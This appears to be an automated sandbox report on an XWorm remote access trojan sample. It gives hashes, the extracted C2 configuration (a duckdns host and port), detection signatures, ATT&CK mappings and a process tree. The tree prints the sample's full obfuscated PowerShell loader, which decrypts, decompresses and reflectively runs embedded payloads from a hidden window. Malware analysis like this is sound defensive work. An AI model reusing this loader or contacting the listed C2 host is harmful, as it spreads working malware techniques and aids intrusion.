xworm | 582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
24/05/2024, 01:18

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General

Target
582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651.cmd
Size 82KB
Sample240524-bpfahsgb87
SHA256 582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651
MD5 8b962a01cb7b585d3308701068180e39
SHA1 56528670260aa0d4b60fbffdc7566a3654112f8d
SHA512 56b5012d96decb4fabef930becdc35593fbc34fcc0bfde36316a07586a2ad9d605b989db87f22ba5c0757aa78417ac7c79afee29a4cd0719aac8306a2ada56e7
SSDEEP 1536:orogwg5pVXbSClWeINO/7lP3zsY8rTVRIJ9KPhv74+bha95O:7SpgeIo/7lP3OWahc+bha95O
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

x5387400.duckdns.org:8896

Mutex

F4ssR8b386Bj6q2g

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3364-19-0x000001BB26AD0000-0x000001BB26AE0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detects Windows executables referencing non-Windows User-Agents 1 IoCs

resource	yara_rule
behavioral2/memory/3364-19-0x000001BB26AD0000-0x000001BB26AE0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Blocklisted process makes network request 1 IoCs

flow	pid	Process
30	3364	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3364	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3364	powershell.exe
3364	powershell.exe
3364	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3364	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3364	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4900 wrote to memory of 2020	4900	cmd.exe	83
PID 4900 wrote to memory of 2020	4900	cmd.exe	83
PID 4900 wrote to memory of 2224	4900	cmd.exe	84
PID 4900 wrote to memory of 2224	4900	cmd.exe	84
PID 4900 wrote to memory of 3364	4900	cmd.exe	85
PID 4900 wrote to memory of 3364	4900	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4900
- C:\Windows\system32\cmd.exe
  cmd /c "set __=^&rem"
  2⤵
  PID:2020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('76J7bEzHtX3VLkuJZ3oCAIh8u4PXgvIrPrnTbE0uYjM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PvXjXUmyPwzlCxyLb5VMvA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WAoSC=New-Object System.IO.MemoryStream(,$param_var); $DqjpG=New-Object System.IO.MemoryStream; $gTgrK=New-Object System.IO.Compression.GZipStream($WAoSC, [IO.Compression.CompressionMode]::Decompress); $gTgrK.CopyTo($DqjpG); $gTgrK.Dispose(); $WAoSC.Dispose(); $DqjpG.Dispose(); $DqjpG.ToArray();}function execute_function($param_var,$param2_var){ $KJzOY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SIuiX=$KJzOY.EntryPoint; $SIuiX.Invoke($null, $param2_var);}$psbhS = 'C:\Users\Admin\AppData\Local\Temp\582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651.cmd';$host.UI.RawUI.WindowTitle = $psbhS;$KrZUn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($psbhS).Split([Environment]::NewLine);foreach ($gGiAE in $KrZUn) { if ($gGiAE.StartsWith('zVnkucItcDIJmveRwHFJ')) { $FQbRn=$gGiAE.Substring(20); break; }}$payloads_var=[string[]]$FQbRn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:3364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_u2d4azfv.2oh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u2d4azfv.2oh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3364-17-0x00007FF9BD610000-0x00007FF9BD6CE000-memory.dmp

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memory/3364-18-0x000001BB26AC0000-0x000001BB26AD0000-memory.dmp

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memory/3364-11-0x00007FF9A04C0000-0x00007FF9A0F81000-memory.dmp

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memory/3364-12-0x00007FF9A04C0000-0x00007FF9A0F81000-memory.dmp

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memory/3364-13-0x000001BB26B10000-0x000001BB26B54000-memory.dmp

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memory/3364-14-0x000001BB26FA0000-0x000001BB27016000-memory.dmp

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memory/3364-15-0x000001BB26A80000-0x000001BB26A90000-memory.dmp

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memory/3364-0-0x00007FF9A04C3000-0x00007FF9A04C5000-memory.dmp

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memory/3364-10-0x000001BB26A90000-0x000001BB26AB2000-memory.dmp

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memory/3364-19-0x000001BB26AD0000-0x000001BB26AE0000-memory.dmp

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memory/3364-16-0x00007FF9BE6F0000-0x00007FF9BE8E5000-memory.dmp

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memory/3364-20-0x00007FF9A04C0000-0x00007FF9A0F81000-memory.dmp

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memory/3364-21-0x000001BB26710000-0x000001BB2692C000-memory.dmp

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memory/3364-23-0x00007FF9A04C0000-0x00007FF9A0F81000-memory.dmp

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memory/3364-25-0x00007FF9A04C3000-0x00007FF9A04C5000-memory.dmp

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memory/3364-26-0x00007FF9A04C0000-0x00007FF9A0F81000-memory.dmp

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memory/3364-27-0x00007FF9A04C0000-0x00007FF9A0F81000-memory.dmp

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